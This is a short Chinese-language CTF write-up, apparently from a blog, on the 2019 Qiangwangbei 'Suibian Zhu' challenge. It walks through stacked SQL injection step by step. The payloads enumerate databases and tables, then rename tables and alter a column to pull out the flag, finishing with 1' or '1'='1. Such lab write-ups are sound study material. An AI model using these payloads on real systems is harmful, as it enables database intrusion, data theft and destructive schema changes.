[强网杯 2019]随便注

打开连接,随便输入一个值进行查询,可以看到系统直接将PHP查询的原始结果返回出来

输入select,发现过滤了一些语句

输入1'%23,正常返回结果,存在字符型注入

尝试进行堆叠注入,输入1';show databases;%23,返回了所有的数据库

输入1;show tables;%23,返回了当前数据库所存在的表,一张words表,一张数字表

以此输入1';show columns from words;%23和1';show columns from 1919810931114514;%23可以看到默认查询的id在words表中,而需要的flag在数字表中

因此,我们可以将数字表的表名改成words,flag的字段名改成id,再通过1' or '1'='1将flag带出来,payload如下:

/?inject=1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;%23

最后输入1' or '1'='1 拿到flag

点赞

发表评论

昵称和uid可以选填一个,填邮箱必填(留言回复后将会发邮件给你)
tips:输入uid可以快速获得你的昵称和头像